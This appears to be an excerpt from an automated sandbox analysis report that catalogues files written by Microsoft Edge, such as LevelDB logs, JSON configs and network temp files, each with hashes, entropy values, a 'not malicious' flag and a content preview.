Entropy (8bit):	5.15526666899307
Encrypted:	false
SSDEEP:	6:H6/fQpyq1N723oH+Tcwtk2WwnvB2KLlV6/fQpQWt+q2PN723oH+Tcwtk2WwnvIF2:+Q5aYebkxwnvFLGQ2vVaYebkxwnQFUv
MD5:	43157F887DF3ECEEB88F1B9BED62CF95
SHA1:	7A3184578E25CCD90AD85E44D41EE9EA8FA1B0B2
SHA-256:	F5002DB96E4F1B56D32CDF73F7C8ECD235DABDA828C0C138CEB38687520CDB38
SHA-512:	10F087239DDA59314F6642110796490982FCB2C9B4568EE1D50FDF9F73A6C0B8640446A0BB1AB2B126CCE1B1A0C285986B0FEBDBFC0FBE4250DC819A3792784C
Malicious:	false
Preview:	2024/11/05-14:52:42.724 2238 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/05-14:52:42.849 2238 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324608928410194
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RE:C1gAg1zfvM
MD5:	831C4651270EBFFF3206CCC0AB7E0A2B
SHA1:	3168A30C0FE4DC17B8BD5934E310B108FF6CAC2A
SHA-256:	AB446DD1E56EFD3CE85CEBABC32DCB9AAF2954B7EB1ED1761DA664EA9F7313F9
SHA-512:	1624D9097657CB95FF8A1479C59D96AE9E47DBAF8121AF062FC0874EA653F8DD67B3C3EDEBB9A06AA0C52253AE5F5134217BB86D814B69B148F1D1EF341DE56E
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.16496414633092
Encrypted:	false
SSDEEP:	6:H6/fQqq2PN723oH+Tcwt8aPrqIFUt8Y6/fQjZmw+Y6/fQN4NDkwON723oH+Tcwtc:+QqvVaYebL3FUt8xQj/+xQN05OaYebQJ
MD5:	9522557EC80B94211DA25DB1EE5B5849
SHA1:	F1D5A7669C196C640B9A6E426F0C0258CEC5E397
SHA-256:	EF0751EF07927CE4B7C8870E42C2F5E46CC9B6E34E8E46F9E42F5DE203744140
SHA-512:	5CE02C46AD7D57B6EED2031CD1848AA6DC5C808AC3CCB0EC098B6509EE42624B71A2B0C391A2BD141CE20F7CC1EAED4F76E18A40E950DD6CEA3141C503946642
Malicious:	false
Preview:	2024/11/05-14:52:37.635 5a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/05-14:52:37.635 5a4 Recovering log #3.2024/11/05-14:52:37.641 5a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.16496414633092
Encrypted:	false
SSDEEP:	6:H6/fQqq2PN723oH+Tcwt8aPrqIFUt8Y6/fQjZmw+Y6/fQN4NDkwON723oH+Tcwtc:+QqvVaYebL3FUt8xQj/+xQN05OaYebQJ
MD5:	9522557EC80B94211DA25DB1EE5B5849
SHA1:	F1D5A7669C196C640B9A6E426F0C0258CEC5E397
SHA-256:	EF0751EF07927CE4B7C8870E42C2F5E46CC9B6E34E8E46F9E42F5DE203744140
SHA-512:	5CE02C46AD7D57B6EED2031CD1848AA6DC5C808AC3CCB0EC098B6509EE42624B71A2B0C391A2BD141CE20F7CC1EAED4F76E18A40E950DD6CEA3141C503946642
Malicious:	false
Preview:	2024/11/05-14:52:37.635 5a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/05-14:52:37.635 5a4 Recovering log #3.2024/11/05-14:52:37.641 5a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	399
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWW
MD5:	A15AC2782BB6B4407D11979316F678FD
SHA1:	B64EAF0810E180D99B83BBA8E366B2E3416C5881
SHA-256:	55F8FA21C3F0D42C973AEDF538F1ADE32563AE4A1E7107C939AB82B4A4D7859A
SHA-512:	370B43C7E434C6CC9328D266C1C9DB327621E2C95AD13D953C4D63457A141FBF2BE0B35072DE96BECC29048224D3646535A149229FC2BA367C7903D3E3E79BDB
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.171954090665067
Encrypted:	false
SSDEEP:	6:H6/fQF4q2PN723oH+Tcwt865IFUt8Y6/fQ0Zmw+Y6/fQrPkwON723oH+Tcwt86+e:+QGvVaYeb/WFUt8xQ0/+xQrP5OaYeb/L
MD5:	DD0FBF092F31C068AACD0617E6FA7B5A
SHA1:	89010CE7C92394DE9C3258912EF545020F58E47C
SHA-256:	E8AA5A0759329E0864BCA45B4CC2D6C482EF0EEAB65880B2537078FCEF889509
SHA-512:	DEF4C85D5EFF23A7AE8CA90705A1F3C6E90350474A06E61A3A7025C9806062CCEB27922EF63BE99BCD90A29FF9393BB8C096DEFC5FE3D94B62BE79D2B63EED39
Malicious:	false
Preview:	2024/11/05-14:52:37.653 5a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/05-14:52:37.654 5a4 Recovering log #3.2024/11/05-14:52:37.655 5a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.171954090665067
Encrypted:	false
SSDEEP:	6:H6/fQF4q2PN723oH+Tcwt865IFUt8Y6/fQ0Zmw+Y6/fQrPkwON723oH+Tcwt86+e:+QGvVaYeb/WFUt8xQ0/+xQrP5OaYeb/L
MD5:	DD0FBF092F31C068AACD0617E6FA7B5A
SHA1:	89010CE7C92394DE9C3258912EF545020F58E47C
SHA-256:	E8AA5A0759329E0864BCA45B4CC2D6C482EF0EEAB65880B2537078FCEF889509
SHA-512:	DEF4C85D5EFF23A7AE8CA90705A1F3C6E90350474A06E61A3A7025C9806062CCEB27922EF63BE99BCD90A29FF9393BB8C096DEFC5FE3D94B62BE79D2B63EED39
Malicious:	false
Preview:	2024/11/05-14:52:37.653 5a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/05-14:52:37.654 5a4 Recovering log #3.2024/11/05-14:52:37.655 5a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1676415850650965
Encrypted:	false
SSDEEP:	6:H6/fQS4Qyq2PN723oH+Tcwt8NIFUt8Y6/fQSpfG1Zmw+Y6/fQSpfQRkwON723oHt:+QdQyvVaYebpFUt8xQ+fg/+xQ+fQR5OZ
MD5:	461A99FD7AE0AB1CF6DDC4270E7B4A13
SHA1:	68DC9CE69EAD4AD77DB634090815779AFA9BF99E
SHA-256:	AF23524F71C31EAD77544763152852CA8035F003BFA2829E8BE4FACE7D7F4291
SHA-512:	EBB6A1A982B5C43E55D3F1EA52D7D38302F38F985B82D403EDF45649E8B76985B300C53BA6AF3E9B94F2C7694A0F5FD098A0942178B3CBC54A1435279218B923
Malicious:	false
Preview:	2024/11/05-14:52:38.156 1b10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/05-14:52:38.157 1b10 Recovering log #3.2024/11/05-14:52:38.157 1b10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.1676415850650965
Encrypted:	false
SSDEEP:	6:H6/fQS4Qyq2PN723oH+Tcwt8NIFUt8Y6/fQSpfG1Zmw+Y6/fQSpfQRkwON723oHt:+QdQyvVaYebpFUt8xQ+fg/+xQ+fQR5OZ
MD5:	461A99FD7AE0AB1CF6DDC4270E7B4A13
SHA1:	68DC9CE69EAD4AD77DB634090815779AFA9BF99E
SHA-256:	AF23524F71C31EAD77544763152852CA8035F003BFA2829E8BE4FACE7D7F4291
SHA-512:	EBB6A1A982B5C43E55D3F1EA52D7D38302F38F985B82D403EDF45649E8B76985B300C53BA6AF3E9B94F2C7694A0F5FD098A0942178B3CBC54A1435279218B923
Malicious:	false
Preview:	2024/11/05-14:52:38.156 1b10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/05-14:52:38.157 1b10 Recovering log #3.2024/11/05-14:52:38.157 1b10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6480944688206467
Encrypted:	false
SSDEEP:	384:aj9P0+QkQerkjlUP/KbtZ773pLwgam6I0hlcERKToaAu:adte2mlUP/w7xEAERKcC
MD5:	EF2C1F95F497969FBF806455EF1A4F96
SHA1:	5798BBD27DECA19BFEEFDA1B638F950AA4EFDC7C
SHA-256:	87BA9C8C35A1DBB87F42B15BC995B0196E5677E551F869631F2D1D1F4EE9CAA1
SHA-512:	60FD242C957BD23FCBAE699438BD05275518F8DD2150B71CA57AD25B248510A04484994F6FE9A5869D7C2A097A17C5A26A50C2B06543B8B7E493A10B0EF5D868
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.232528512691348
Encrypted:	false
SSDEEP:	12:+QDSQyvVaYeb8rcHEZrELFUt8xQt/g/+xQt/QR5OaYeb8rcHEZrEZSJ:+GS5VaYeb8nZrExg8x6n6SOaYeb8nZrt
MD5:	5187D77A7B9ADED6A85579DF9D9CDBCD
SHA1:	3667AC6D2CE693BDF6677141403A9C54A717C13B
SHA-256:	01D4B5BD07181B1292D3D9308D0E301289F6E3E67F696934A615D97FD8D69010
SHA-512:	0B0EF8CA1E65A2301E48655BDFB2903DFDD571E287828136B519A1D88B7EA8F013FCCD14B0FE0A73615AFF4B9A4417EA8C05CF873265F090DED152DFCF7C991A
Malicious:	false
Preview:	2024/11/05-14:52:40.705 1b10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/05-14:52:40.706 1b10 Recovering log #3.2024/11/05-14:52:40.706 1b10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.232528512691348
Encrypted:	false
SSDEEP:	12:+QDSQyvVaYeb8rcHEZrELFUt8xQt/g/+xQt/QR5OaYeb8rcHEZrEZSJ:+GS5VaYeb8nZrExg8x6n6SOaYeb8nZrt
MD5:	5187D77A7B9ADED6A85579DF9D9CDBCD
SHA1:	3667AC6D2CE693BDF6677141403A9C54A717C13B
SHA-256:	01D4B5BD07181B1292D3D9308D0E301289F6E3E67F696934A615D97FD8D69010
SHA-512:	0B0EF8CA1E65A2301E48655BDFB2903DFDD571E287828136B519A1D88B7EA8F013FCCD14B0FE0A73615AFF4B9A4417EA8C05CF873265F090DED152DFCF7C991A
Malicious:	false
Preview:	2024/11/05-14:52:40.705 1b10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/05-14:52:40.706 1b10 Recovering log #3.2024/11/05-14:52:40.706 1b10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.608212243193855
Encrypted:	false
SSDEEP:	24:1ZWHmEUlH7lQKNO5BdEPJ0e2XZxWfV03y1x4UMyG:1ZtEwQKc+PJsXZIfV03Sx4HyG
MD5:	BFA6B6C6B6E181A7C19304E4B8F765B3
SHA1:	C6BC3AE5DF41F1AE187B6381BA9E31E8F9E9B19F
SHA-256:	4769E80DDFBF601505B8A7BD9500285FD599E3AE89AC9898525C2C97139BA4F7
SHA-512:	37EE0EC63A1682D1EE2FE3AB582AB4D261AFB20B752168E2AD4EC7489B559367780F961042AFFAE2860A46CC2FCBFC7B030CB6D917881AEB74640CF26F65C510
Malicious:	false
Preview:	..v\z................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":472}.!_https://ntp.msn.com..LastKnownPV..1730836366634.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730836368523.._https://ntp.msn.com..MUID!.145043783CBF6C823B4D56563D316DA5.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730836366720,"schedule":[9,31,-1,-1,-1,35,-1],"scheduleFixed":[9,31,-1,-1,-1,35,-1],"simpleSchedule":[28,13,50,31,46,14,51]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730836366587.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241101.317"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.157625018184229
Encrypted:	false
SSDEEP:	6:H6/fQSCPIq2PN723oH+Tcwt8a2jMGIFUt8Y6/fQSlZmw+Y6/fQSSkwON723oH+Tg:+QrgvVaYeb8EFUt8xQ4/+xQ15OaYeb8N
MD5:	8659E8B9E96374E38F10B08BC2214BAF
SHA1:	1B13384B7BFE3D374B47D7434CA3A97C0224E2F6
SHA-256:	54F69B91CEAE683D7CED2DE5A2707EC10EF05F7FD7C0621BB113AE5450FD00E0
SHA-512:	348111130899CA6988EAC176E6F26240AF44F4BDC609839B298CB73CDC06AE54433C4A59C291CCE32D60E3AC71989BE9C2E666C5B82C79B3E52795012877F514
Malicious:	false
Preview:	2024/11/05-14:52:38.288 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/05-14:52:38.289 ab0 Recovering log #3.2024/11/05-14:52:38.291 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.157625018184229
Encrypted:	false
SSDEEP:	6:H6/fQSCPIq2PN723oH+Tcwt8a2jMGIFUt8Y6/fQSlZmw+Y6/fQSSkwON723oH+Tg:+QrgvVaYeb8EFUt8xQ4/+xQ15OaYeb8N
MD5:	8659E8B9E96374E38F10B08BC2214BAF
SHA1:	1B13384B7BFE3D374B47D7434CA3A97C0224E2F6
SHA-256:	54F69B91CEAE683D7CED2DE5A2707EC10EF05F7FD7C0621BB113AE5450FD00E0
SHA-512:	348111130899CA6988EAC176E6F26240AF44F4BDC609839B298CB73CDC06AE54433C4A59C291CCE32D60E3AC71989BE9C2E666C5B82C79B3E52795012877F514
Malicious:	false
Preview:	2024/11/05-14:52:38.288 ab0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/05-14:52:38.289 ab0 Recovering log #3.2024/11/05-14:52:38.291 ab0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\0d2f2e55-2bc3-4922-b81f-ab4c68303b86.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\22492459-bace-4421-87d4-fd5410e91ec3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\59a46b06-a2e0-4137-8c4b-d4598ab68edf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\613d1f24-d59a-4746-baec-3767f1d467d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
